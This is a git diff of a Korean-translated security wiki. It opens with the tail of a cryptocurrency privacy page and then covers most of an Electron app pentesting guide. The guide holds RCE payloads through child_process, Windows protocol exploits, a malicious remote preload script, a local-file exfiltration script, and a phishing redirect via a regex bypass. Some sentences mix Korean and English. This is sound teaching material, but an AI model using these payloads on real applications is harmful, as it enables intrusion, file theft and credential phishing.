CoinJoin의 변형인 **PayJoin**(또는 P2EP)은 두 당사자(예: 고객과 상인) 간의 거래를 일반 거래로 위장하여 CoinJoin의 고유한 동등 출력 특성이 없습니다. 이는 탐지하기 매우 어렵게 만들며, 거래 감시 기관에서 사용하는 일반 입력 소유권 휴리스틱을 무효화할 수 있습니다.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
위와 같은 거래는 PayJoin일 수 있으며, 표준 비트코인 거래와 구별되지 않으면서 프라이버시를 향상시킵니다.
|
||||
|
||||
**PayJoin의 활용은 전통적인 감시 방법에 상당한 혼란을 초래할 수 있으며**, 거래 프라이버시 추구에 있어 유망한 발전입니다.
|
||||
|
||||
# 암호화폐에서의 프라이버시를 위한 모범 사례
|
||||
|
||||
## **지갑 동기화 기술**
|
||||
|
||||
프라이버시와 보안을 유지하기 위해 블록체인과 지갑을 동기화하는 것이 중요합니다. 두 가지 방법이 두드러집니다:
|
||||
|
||||
- **풀 노드**: 전체 블록체인을 다운로드함으로써 풀 노드는 최대한의 프라이버시를 보장합니다. 지금까지 이루어진 모든 거래가 로컬에 저장되어, 적들이 사용자가 관심 있는 거래나 주소를 식별하는 것이 불가능합니다.
|
||||
- **클라이언트 측 블록 필터링**: 이 방법은 블록체인의 모든 블록에 대한 필터를 생성하여 지갑이 네트워크 관찰자에게 특정 관심사를 노출하지 않고 관련 거래를 식별할 수 있게 합니다. 경량 지갑은 이러한 필터를 다운로드하고, 사용자의 주소와 일치하는 경우에만 전체 블록을 가져옵니다.
|
||||
|
||||
## **익명성을 위한 Tor 활용**
|
||||
|
||||
비트코인이 P2P 네트워크에서 운영되기 때문에, IP 주소를 숨기기 위해 Tor를 사용하는 것이 권장되며, 네트워크와 상호작용할 때 프라이버시를 향상시킵니다.
|
||||
|
||||
## **주소 재사용 방지**
|
||||
|
||||
프라이버시를 보호하기 위해서는 모든 거래에 대해 새로운 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 거래가 동일한 주체와 연결되어 프라이버시가 손상될 수 있습니다. 현대 지갑은 디자인을 통해 주소 재사용을 권장하지 않습니다.
|
||||
|
||||
## **거래 프라이버시를 위한 전략**
|
||||
|
||||
- **다수의 거래**: 지불을 여러 거래로 나누면 거래 금액을 모호하게 하여 프라이버시 공격을 저지할 수 있습니다.
|
||||
- **거스름돈 회피**: 거스름돈 출력을 필요로 하지 않는 거래를 선택하면 거스름돈 탐지 방법을 방해하여 프라이버시를 향상시킵니다.
|
||||
- **다수의 거스름돈 출력**: 거스름돈을 피할 수 없는 경우, 여러 거스름돈 출력을 생성하는 것도 여전히 프라이버시를 개선할 수 있습니다.
|
||||
|
||||
# **모네로: 익명의 등대**
|
||||
|
||||
모네로는 디지털 거래에서 절대적인 익명성의 필요성을 다루며, 프라이버시의 높은 기준을 설정합니다.
|
||||
|
||||
# **이더리움: 가스와 거래**
|
||||
|
||||
## **가스 이해하기**
|
||||
|
||||
가스는 이더리움에서 작업을 실행하는 데 필요한 계산 노력을 측정하며, **gwei**로 가격이 책정됩니다. 예를 들어, 2,310,000 gwei(또는 0.00231 ETH)의 거래는 가스 한도와 기본 수수료가 포함되며, 채굴자를 유인하기 위한 팁이 포함됩니다. 사용자는 초과 지불을 방지하기 위해 최대 수수료를 설정할 수 있으며, 초과분은 환불됩니다.
|
||||
|
||||
## **거래 실행하기**
|
||||
|
||||
이더리움의 거래는 발신자와 수신자가 포함되며, 이는 사용자 또는 스마트 계약 주소일 수 있습니다. 거래는 수수료가 필요하며 채굴되어야 합니다. 거래의 필수 정보에는 수신자, 발신자의 서명, 값, 선택적 데이터, 가스 한도 및 수수료가 포함됩니다. 특히, 발신자의 주소는 서명에서 유추되므로 거래 데이터에 필요하지 않습니다.
|
||||
|
||||
이러한 관행과 메커니즘은 프라이버시와 보안을 우선시하며 암호화폐에 참여하고자 하는 모든 사람에게 기본적입니다.
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
||||
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -4,14 +4,14 @@
|
||||
|
||||
## 소개
|
||||
|
||||
Electron은 로컬 백엔드(**NodeJS**)와 프론트엔드(**Chromium**)를 결합하지만, 현대 브라우저의 일부 보안 메커니즘은 갖추고 있지 않습니다.
|
||||
Electron은 로컬 백엔드(**NodeJS**)와 프런트엔드(**Chromium**)를 결합하지만, 최신 브라우저의 일부 보안 메커니즘은 부족합니다.
|
||||
|
||||
일반적으로 Electron 앱 코드는 `.asar` 애플리케이션 내부에 존재합니다. 코드를 얻으려면 이를 추출해야 합니다:
|
||||
보통 Electron 앱 코드는 `.asar` 애플리케이션 내부에서 발견되며, 코드를 얻기 위해 이를 추출해야 합니다:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Electron 앱의 소스 코드에서, `packet.json` 안에 보안 설정이 적용된 `main.js` 파일이 지정되어 있는 것을 찾을 수 있습니다.
|
||||
Electron 앱의 소스 코드에서 `packet.json` 안을 보면 보안 구성이 설정된 `main.js` 파일이 지정되어 있는 것을 찾을 수 있습니다.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
@ -19,12 +19,12 @@ Electron 앱의 소스 코드에서, `packet.json` 안에 보안 설정이 적
|
||||
```
|
||||
Electron에는 2가지 프로세스 유형이 있습니다:
|
||||
|
||||
- Main Process (NodeJS에 대한 완전한 접근 권한 보유)
|
||||
- Renderer Process (보안상 NodeJS 접근 권한을 제한해야 함)
|
||||
- Main Process (NodeJS에 완전한 접근 권한 보유)
|
||||
- Renderer Process (보안상의 이유로 NodeJS 접근을 제한해야 함)
|
||||
|
||||
.png>)
|
||||
|
||||
**renderer process**는 파일을 로드하는 브라우저 창입니다:
|
||||
하나의 **renderer process**는 파일을 로드하는 브라우저 창입니다:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Settings of the **렌더러 프로세스** can be **구성** in the **메인 프로세스** inside the main.js file. Some of the configurations will **Electron 애플리케이션이 RCE를 얻는 것을 방지**하거나 다른 취약점을 막을 수 있습니다 if the **설정이 올바르게 구성된 경우**.
|
||||
**renderer process**의 설정은 main.js 파일 안의 **main process**에서 **구성될 수 있습니다**. 일부 구성은 **Electron 애플리케이션이 RCE를 얻는 것을 방지**할 수 있으며, 이는 **설정이 올바르게 구성된 경우**에 해당합니다.
|
||||
|
||||
The Electron 애플리케이션 **Node apis를 통해 기기에 접근할 수 있습니다** although it can be configure to prevent it:
|
||||
Electron 애플리케이션은 Node apis를 통해 디바이스에 **접근할 수 있습니다**, 다만 이를 방지하도록 구성할 수 있습니다:
|
||||
|
||||
- **`nodeIntegration`** - 기본값은 `off`입니다. 활성화되면 렌더러 프로세스에서 Node 기능에 접근할 수 있습니다.
|
||||
- **`contextIsolation`** - 기본값은 `on`입니다. 비활성화하면 메인 프로세스와 렌더러 프로세스가 분리되지 않습니다.
|
||||
- **`nodeIntegration`** - 기본값은 `off`입니다. `on`이면 renderer process에서 node 기능에 접근할 수 있습니다.
|
||||
- **`contextIsolation`** - 기본값은 `on`입니다. `off`인 경우 main과 renderer 프로세스가 격리되지 않습니다.
|
||||
- **`preload`** - 기본값은 비어 있습니다.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본적으로 `off`입니다. NodeJS가 수행할 수 있는 동작을 제한합니다.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본값은 `off`입니다. NodeJS가 수행할 수 있는 작업을 제한합니다.
|
||||
- Workers에서의 Node Integration
|
||||
- **`nodeIntegrationInSubframes`** - 기본값은 `off`입니다.
|
||||
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
|
||||
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
||||
- **`nodeIntegration`**이 **활성화된** 경우, Electron 애플리케이션 내에서 **iframe에 로드된** 웹 페이지에서 **Node.js APIs**를 사용할 수 있습니다.
|
||||
- **`nodeIntegration`**이 **비활성화된** 경우, preload는 iframe 내에서 로드됩니다.
|
||||
|
||||
Example of configuration:
|
||||
```javascript
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
다음은 [here](https://7as.es/electron/nodeIntegration_rce.txt)에서 가져온 몇 가지 **RCE payloads**:
|
||||
다음은 [here](https://7as.es/electron/nodeIntegration_rce.txt)에서 가져온 일부 **RCE payloads**:
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -97,14 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### 트래픽 캡처
|
||||
|
||||
start-main 구성을 수정하고 다음과 같은 proxy 사용을 추가하세요:
|
||||
start-main 구성을 수정하고 다음과 같은 프록시 사용을 추가하세요:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron 로컬 코드 인젝션
|
||||
|
||||
If you can execute locally an Electron App it's possible that you could make it execute arbitrary javascript code. Check how in:
|
||||
## Electron Local Code Injection
|
||||
|
||||
로컬에서 Electron App을 실행할 수 있다면 임의의 javascript 코드를 실행하게 만들 수 있습니다. 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -112,7 +111,7 @@ If you can execute locally an Electron App it's possible that you could make it
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
만약 **nodeIntegration**이 **on**으로 설정되어 있다면, 웹 페이지의 JavaScript는 `require()`를 호출하는 것만으로 Node.js 기능을 쉽게 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다:
|
||||
If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -124,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
이 설정에 지정된 스크립트는 **renderer의 다른 스크립트들보다 먼저 로드**되므로, **Node APIs에 무제한 접근** 권한을 갖습니다:
|
||||
이 설정에 지정된 스크립트는 l**oaded before other scripts in the renderer**, 따라서 **unlimited access to Node APIs**를 가집니다:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -133,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
따라서, 이 스크립트는 node-features를 페이지로 내보낼 수 있습니다:
|
||||
따라서 스크립트는 node-features를 페이지로 내보낼 수 있습니다:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -149,20 +148,21 @@ runCalc()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
> [!NOTE] > **If `contextIsolation` is on, this won't work**
|
||||
> [!NOTE] > **만약 `contextIsolation`이 켜져 있으면, 작동하지 않습니다**
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
|
||||
_**contextIsolation**_는 웹 페이지 스크립트와 JavaScript Electron의 내부 코드 사이에 **분리된 컨텍스트**를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 주지 않도록 합니다. 이는 RCE 가능성을 제거하기 위한 필수 기능입니다.
|
||||
|
||||
컨텍스트가 격리되어 있지 않다면 공격자는 다음을 수행할 수 있습니다:
|
||||
만약 컨텍스트가 분리되지 않았다면 공격자는:
|
||||
|
||||
1. **renderer에서 임의의 JavaScript 실행** (XSS 또는 외부 사이트로의 이동)
|
||||
2. **preload 또는 Electron 내부 코드에서 사용되는 내장 메서드를 덮어쓰기**
|
||||
3. **덮어쓴 함수의 사용을 트리거**
|
||||
1. renderer에서 **임의의 JavaScript를 실행** (XSS 또는 외부 사이트로의 이동)
|
||||
2. preload 또는 Electron 내부 코드에서 사용되는 **내장 메서드를 덮어써서 자신의 함수로 바꾸기**
|
||||
3. 덮어쓴 함수의 사용을 **유발(Trigger)**
|
||||
4. RCE?
|
||||
|
||||
내장 메서드를 덮어쓸 수 있는 곳은 2곳이 있습니다: preload 코드 또는 Electron 내부 코드 안:
|
||||
내장 메서드를 덮어쓸 수 있는 곳은 2곳이 있습니다: In preload code or in Electron internal code:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
electron-contextisolation-rce-via-preload-code.md
|
||||
@ -180,22 +180,22 @@ electron-contextisolation-rce-via-ipc.md
|
||||
|
||||
### 클릭 이벤트 우회
|
||||
|
||||
링크를 클릭할 때 제한이 적용되어 있다면 일반 왼쪽 클릭 대신 **중간 클릭을 사용**하여 우회할 수 있습니다
|
||||
링크를 클릭할 때 제한이 적용되어 있다면 일반적인 왼쪽 클릭 대신 **중간 클릭**으로 우회할 수 있습니다
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## shell.openExternal을 통한 RCE
|
||||
## RCE via shell.openExternal
|
||||
|
||||
이 예제들에 대한 자세한 내용은 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)을 확인하세요
|
||||
이 예제들에 대한 자세한 내용은 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)을 확인하세요.
|
||||
|
||||
Electron 데스크톱 애플리케이션을 배포할 때 `nodeIntegration`과 `contextIsolation`을 올바르게 설정하는 것은 매우 중요합니다. 이러한 설정이 적용되면 preload 스크립트나 메인 프로세스에서 Electron의 네이티브 코드로 향하는 **client-side remote code execution (RCE)**는 효과적으로 차단된다고 알려져 있습니다.
|
||||
Electron 데스크톱 애플리케이션을 배포할 때 `nodeIntegration`과 `contextIsolation` 설정을 올바르게 구성하는 것은 매우 중요합니다. 이러한 설정이 적용되어 있으면 메인 프로세스에서 preload 스크립트나 Electron의 네이티브 코드를 대상으로 하는 **client-side remote code execution (RCE)**가 효과적으로 방지된다고 알려져 있습니다.
|
||||
|
||||
사용자가 링크를 클릭하거나 새 창을 열 때 특정 이벤트 리스너가 트리거되며, 이는 애플리케이션의 보안과 기능에 중요합니다:
|
||||
사용자가 링크를 클릭하거나 새 창을 열면 특정 이벤트 리스너가 트리거되며, 이는 애플리케이션의 보안과 기능에 중요합니다:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
이들 리스너는 **데스크탑 애플리케이션에 의해 오버라이드되어** 자체적인 **비즈니스 로직**을 구현합니다. 애플리케이션은 이동한 링크를 내부에서 열지 외부 웹 브라우저에서 열지를 판단합니다. 이 결정은 일반적으로 `openInternally` 함수에서 이루어집니다. 해당 함수가 `false`를 반환하면 링크를 외부에서 열어야 함을 나타내며, 이때 `shell.openExternal` 함수를 사용합니다.
|
||||
이 리스너들은 데스크톱 애플리케이션에 의해 **재정의되어** 자체 **비즈니스 로직**을 구현한다. 애플리케이션은 탐색된 링크를 내부에서 열지 외부 웹 브라우저에서 열지 여부를 판단한다. 이 결정은 일반적으로 `openInternally` 함수를 통해 이루어진다. 이 함수가 `false`를 반환하면, 해당 링크는 외부에서 열려야 하며 `shell.openExternal` 함수를 사용한다는 의미다.
|
||||
|
||||
**다음은 단순화된 의사코드입니다:**
|
||||
|
||||
@ -203,11 +203,11 @@ webContents.on("will-navigate", function (event, url) {}
|
||||
|
||||
.png>)
|
||||
|
||||
Electron JS의 보안 권장사항은 `openExternal` 함수를 통해 신뢰할 수 없는 콘텐츠를 받아들이지 않을 것을 권고합니다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있기 때문입니다. 운영 체제는 RCE를 유발할 수 있는 서로 다른 프로토콜을 지원합니다. 이 주제에 대한 자세한 예시와 설명은 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)를 참고할 수 있으며, 해당 자료에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예시가 포함되어 있습니다.
|
||||
Electron JS 보안 권장사항은 `openExternal` 함수를 통해 신뢰할 수 없는 콘텐츠를 수용하지 말 것을 권고한다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있기 때문이다. 운영체제는 RCE를 유발할 수 있는 서로 다른 프로토콜들을 지원한다. 이 주제에 대한 자세한 예시와 추가 설명은 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)를 참조할 수 있으며, 해당 자료에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예시가 포함되어 있다.
|
||||
|
||||
macos에서는 `openExternal` 함수를 악용하여 `shell.openExternal('file:///System/Applications/Calculator.app')`와 같이 임의의 명령을 실행할 수 있습니다.
|
||||
macos에서는 `openExternal` 함수가 임의의 명령을 실행하도록 악용될 수 있으며, 예를 들어 `shell.openExternal('file:///System/Applications/Calculator.app')` 같은 방식이 있다.
|
||||
|
||||
**Windows 프로토콜 exploits의 예시는 다음과 같습니다:**
|
||||
**Windows 프로토콜 익스플로잇의 예시는 다음과 같다:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -227,17 +227,17 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
## RCE: webviewTag + 취약한 preload IPC + shell.openExternal
|
||||
|
||||
이 취약점은 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**에서 확인할 수 있다.
|
||||
이 취약점은 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**에서 확인할 수 있습니다.
|
||||
|
||||
**webviewTag**는 **사용 중단된 기능**으로, **renderer process**에서 **NodeJS** 사용을 허용합니다. 이는 preload context 내부에 다음과 같이 스크립트를 로드할 수 있게 하므로 비활성화해야 합니다:
|
||||
The **webviewTag** is a **사용 중단된 기능** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload 컨텍스트 like:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
따라서 임의의 페이지를 로드할 수 있는 공격자는 해당 태그를 사용해 **임의의 preload 스크립트를 로드할 수 있다**.
|
||||
따라서 임의의 페이지를 로드하는 데 성공한 공격자는 해당 태그를 사용해 **임의의 preload script를 로드**할 수 있습니다.
|
||||
|
||||
이 preload 스크립트는 이후 **취약한 IPC 서비스 (`skype-new-window`)** 를 호출하도록 악용되었고, 해당 서비스가 **`shell.openExternal`** 를 호출하여 RCE를 획득했다:
|
||||
이 preload script는 이후 **vulnerable IPC service (`skype-new-window`)**를 호출하도록 악용되었고, 해당 서비스는 **`shell.openExternal`**을 호출하여 RCE를 유발했습니다:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -250,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## 내부 파일 읽기: XSS + contextIsolation
|
||||
|
||||
**`contextIsolation`을 비활성화하면 `<webview>` 태그를 사용할 수 있습니다**, `<iframe>`와 유사하게 로컬 파일을 읽고 exfiltrating할 수 있습니다. 예시에서는 이 취약점을 악용해 내부 파일의 내용을 읽는 방법을 보여줍니다:
|
||||
**`contextIsolation`을 비활성화하면 `<webview>` 태그를 사용할 수 있습니다**, `<iframe>`과 유사하게 로컬 파일을 읽고 exfiltrate할 수 있습니다. 제공된 예시는 이 취약점을 악용하여 내부 파일의 내용을 읽는 방법을 보여줍니다:
|
||||
|
||||
.png>)
|
||||
|
||||
또한 **내부 파일을 읽는 방법** 하나가 더 공유되어 Electron desktop app에서 치명적인 로컬 파일 읽기 취약점을 강조합니다. 이 방법은 스크립트를 주입하여 애플리케이션을 악용하고 데이터를 exfiltrate하는 것을 포함합니다:
|
||||
또한, **내부 파일 읽기**에 대한 또 다른 방법이 공유되어 Electron 데스크톱 앱의 심각한 로컬 파일 읽기 취약점을 강조합니다. 여기에는 애플리케이션을 악용하기 위해 스크립트를 주입하고 데이터를 exfiltrate하는 과정이 포함됩니다:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -270,23 +270,23 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + 구형 chromium**
|
||||
## **RCE: XSS + 오래된 chromium**
|
||||
|
||||
애플리케이션에서 사용하는 **chromium**이 **구형**이고 그 위에 **known vulnerabilities**가 존재한다면, 이를 **exploit**하여 **XSS**를 통해 **RCE**를 얻을 수 있습니다.\
|
||||
애플리케이션에서 사용하는 **chromium** 이 **old** 이고 여기에 **known** **vulnerabilities** 가 존재하면, **exploit it and obtain RCE through a XSS** 할 가능성이 있습니다.\
|
||||
You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **Internal URL regex bypass를 통한 XSS Phishing**
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
XSS를 발견했지만 **RCE를 유발하거나 내부 파일을 탈취할 수 없는** 경우, 이를 이용해 **phishing**으로 **credentials**를 탈취해 볼 수 있습니다.
|
||||
만약 XSS 를 발견했지만 **cannot trigger RCE or steal internal files** 경우, 그것을 이용해 **steal credentials via phishing** 을 시도해볼 수 있습니다.
|
||||
|
||||
우선 새 URL을 열려고 할 때 어떤 일이 발생하는지 알아야 합니다. 프론트엔드의 JS 코드를 확인하세요:
|
||||
우선 새 URL 을 열려고 시도할 때 어떤 일이 일어나는지 알아야 합니다. front-end 의 JS 코드를 확인해보면:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
**`openInternally`** 호출은 해당 **link**가 플랫폼 소속의 링크로서 **desktop window**에서 **opened** 될지, **or** **browser as a 3rd party resource**에서 열릴지를 결정합니다.
|
||||
The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
|
||||
|
||||
함수에서 사용되는 **regex**가 **vulnerable to bypasses**한 경우(예: **not escaping the dots of subdomains**), 공격자는 XSS를 악용해 공격자 인프라에 위치한 **open a new window which**를 열어 사용자에게 **asking for credentials**를 요청할 수 있습니다:
|
||||
함수에 사용된 **regex**가 **vulnerable to bypasses**한 경우(예: **not escaping the dots of subdomains**) 공격자는 XSS를 악용하여 공격자 인프라에 위치한 **open a new window which**를 열고 사용자에게 자격증명을 요구하는 **asking for credentials** 행위를 할 수 있습니다:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -301,14 +301,14 @@ As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/secur
|
||||
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> 비록 **remote** 모듈이 main에서 renderer로 일부 API를 노출하지만, 구성요소만 악용한다고 해서 곧바로 RCE를 얻는 것은 쉽지 않습니다. 다만 구성요소가 민감한 정보를 노출할 수 있습니다.
|
||||
> 비록 **remote** 모듈이 main에서 renderer 프로세스로 일부 API를 노출시키지만, 구성 요소만 악용해서 곧바로 RCE를 얻는 것은 간단하지 않습니다. 다만 구성 요소가 민감한 정보를 노출할 수는 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
|
||||
> 여전히 remote 모듈을 사용하는 많은 앱은 renderer 프로세스에서 **NodeIntegration을 활성화해야** 하는 방식으로 구현되어 있는데, 이는 **거대한 보안 위험**입니다.
|
||||
|
||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **사용하지 않는 것이 권장됩니다**.
|
||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
||||
|
||||
To enable it, it'd first needed to **메인 프로세스에서 활성화해야** 합니다:
|
||||
이를 활성화하려면 먼저 **main process에서 활성화**해야 합니다:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -319,28 +319,28 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
그런 다음, 렌더러 프로세스는 다음과 같이 모듈에서 객체를 import할 수 있습니다:
|
||||
그런 다음, 렌더러 프로세스는 모듈에서 객체를 다음과 같이 import할 수 있습니다:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**은 remote 모듈의 객체 **`app`**이 노출하는 몇 가지 흥미로운 **함수들**을 설명합니다:
|
||||
해당 **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**는 remote 모듈의 객체 **`app`**이 노출하는 몇 가지 흥미로운 **함수**를 설명합니다:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **애플리케이션을 재시작**합니다 — 현재 인스턴스를 **종료**하고 새 인스턴스를 **시작**합니다. **app 업데이트**나 중요한 **상태 변경**에 유용합니다.
|
||||
- **애플리케이션을 재시작**합니다: **현재 인스턴스를 종료**하고 **새 인스턴스를 실행**합니다. **앱 업데이트**나 중요한 **상태 변경**에 유용합니다.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **app 로그**를 저장할 디렉터리를 **정의**하거나 **생성**합니다. 로그는 **`app.getPath()`** 또는 **`app.setPath(pathName, newPath)`**를 사용해 **가져오거나**(**retrieved**) **수정**(**modified**)할 수 있습니다.
|
||||
- **앱 로그를 저장할 디렉터리를 정의하거나 생성**합니다. 로그는 **`app.getPath()`** 또는 **`app.setPath(pathName, newPath)`**를 사용해 **조회하거나 수정**할 수 있습니다.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- 지정한 **프로토콜**의 **기본 핸들러**로 현재 실행 파일을 **등록**합니다. 필요하면 **사용자 지정 경로**와 **인수**를 제공할 수 있습니다.
|
||||
- **현재 실행파일을 지정한 프로토콜의 기본 핸들러로 등록**합니다. 필요하면 **사용자 지정 경로**와 **인수**를 제공할 수 있습니다.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- Windows의 **Jump List** 내 **Tasks 카테고리**에 작업을 **추가**합니다. 각 작업은 앱이 어떻게 **실행**되는지 또는 어떤 **인수**가 전달되는지를 제어할 수 있습니다.
|
||||
- **Windows의 Jump List 내 Tasks 카테고리에 작업을 추가**합니다. 각 작업은 앱이 **실행되는 방식**이나 전달되는 **인수**를 제어할 수 있습니다.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- 시스템의 **certificate store**에 **PKCS#12 certificate**를 **임포트(가져오기)**합니다 (Linux 전용). 결과 처리를 위해 **callback**을 사용할 수 있습니다.
|
||||
- **PKCS#12 인증서**를 시스템의 **인증서 저장소**에 **가져오기**합니다 (Linux 전용). 결과 처리를 위해 **callback**을 사용할 수 있습니다.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- macOS에서 애플리케이션을 **Applications 폴더**로 **이동**합니다. Mac 사용자를 위한 **표준 설치**를 보장하는 데 도움이 됩니다.
|
||||
- **애플리케이션을 Applications 폴더로 이동**합니다 (macOS). Mac 사용자를 위한 **표준 설치**를 보장하는 데 도움이 됩니다.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- Windows에서 **custom Jump List**를 **설정**하거나 **제거**합니다. 작업이 사용자에게 어떻게 표시되는지 정리하기 위해 **카테고리(categories)**를 지정할 수 있습니다.
|
||||
